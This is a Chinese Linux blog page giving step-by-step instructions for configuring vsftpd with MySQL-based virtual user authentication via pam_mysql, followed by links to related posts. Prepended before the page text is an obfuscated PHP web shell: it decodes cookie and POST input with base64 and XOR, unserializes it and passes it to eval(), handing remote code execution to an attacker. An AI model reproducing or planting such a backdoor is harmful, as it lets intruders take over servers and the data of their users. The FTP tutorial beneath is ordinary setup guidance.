$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 配置基于mysql的虚拟用户认证vsftp服务器 | Linux运维部落

配置基于mysql的虚拟用户认证vsftp服务器

1.安装vsftp、mysql、epel_release(epel源,后面要安装的pam_mysql认证模块需要这个源)、pam_mysql

2.刚装的mysql运行一下/usr/bin/mysql_secure_installation

3.建立数据库vsftpd,建表user,

    create database vsftpd;

    use vsftpd;

    create users(id int auto_increment primary key,name char(20) binary,passwd char(41) binary);

4.插入两条测试用户数据

    insert into users(name,passwd) values(t1,password('t1'));

    insert into users(name,passwd) values(t2,password('t2'));

5.添加连接数据库的用户(vsftpd)以及密码(vsftpdp@ssword)

    grant select on vsftpd.* to 'vsftpd'@'127.0.0.1' identified by 'vsftpdp@ssword'; 

6.添加pam配置文件并修改vsftpd.conf

  在/etc/pam.d/下建立文件 vsftpd.mysql

 添加内容:

    auth required pam_mysql.so user=vsftpd passwd=cztvu host=127.0.0.1 db=vsftpd table=users usercolumn=name passwdcolumn=passwd crypt=2 

    account required pam_mysql.so user=vsftpd passwd=cztvu host=127.0.0.1 db=vsftpd table=users usercolumn=name passwdcolumn=passwd crypt=2

修改vsftpd.conf添加 

    guest_enable=yes

    guest_username=vuser (虚拟用户映射到系统的vuser本地用户,我们需要等下在后面添加一下vuser本地用户)

    user_config_dir=/etc/vsftpd/vuser_conf/ (这个目录里面可以添加对应的虚拟用户名称的配置文件,可以给不同的虚拟用户配置不同的权限)

    pam_service_name=vsftpd.mysql

7.添加vuser本地用户

    useradd -s /sbin/nologin vuser -d /var/ftproot  (这个目录/var/ftproot可以自己定,最终你可以通过配置虚拟用户的配置文件,指定虚拟用户的根目录)

8.本例虚拟用户是t1、t2所以你需要在/etc/vsftpd/vuser_conf/这个目录下建立同名的t1 t2配置文件,具体配置根据实际需求而定。

调试配置的时候要注意文件夹权限。

原创文章,作者:duiduifei,如若转载,请注明出处:http://www.178linux.com/19123

(0)
上一篇 2016-06-22 15:28
下一篇 2016-06-22 15:35

相关推荐

  • 8.5-文本处理工具(作业篇)

     1、统计当前连接本机的每个远程主机IP的连接数,并按从大到小排序 [root@localhost ~]# netstat -nt Active Internet connections (w/o servers) Proto Recv-Q Send-Q&nb…

    Linux干货 2016-08-07
  • 跟着vimtutor走来认识vim

        一、前言        VIM是一款在vi上进行改进的功能性强大的,开源的文本编辑器。     二、vim的设计理念     vim的设计理念是组合;       命令组合:类似于linux的由一个个单一功能的程…

    Linux干货 2016-05-13
  • LVS类型及其调度算法

    LVS类型:     NAT:–>(DNAT) (多目标的DNAT)     DR:     TUN:     FULLNAT: LVS NAT的特性  &nbs…

    Linux干货 2016-10-29
  • N26-第七周博客作业

    一、创建一个10G分区,并格式为ext4文件系统; 1、 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl;          A、创建一个10G的磁盘空间 [root@VM_221_40_centos ~]#fdisk /de…

    2017-07-09
  • Docker入门

    一、Docker 架构 Docker 使用客户端-服务器 (C/S) 架构模式,使用远程API来管理和创建Docker容器。 Docker 容器通过 Docker 镜像来创建。 容器与镜像的关系类似于面向对象编程中的对象与类。 Docker 面向对象 容器 对象 镜像 类 Docker 镜像(Images) Docker 镜像是用于创建 Docker 容器的…

    2018-01-20
  • 程序包管理

    程序包 linux的程序包主要分为两类;二进制可执行安装包和源代码程序文件包     二进制应用程序的组成部分:     二进制文件、库文件、配置文件、帮助文件   查看二进制程序所依赖的库文件:     ldd&nbs…

    Linux干货 2016-05-30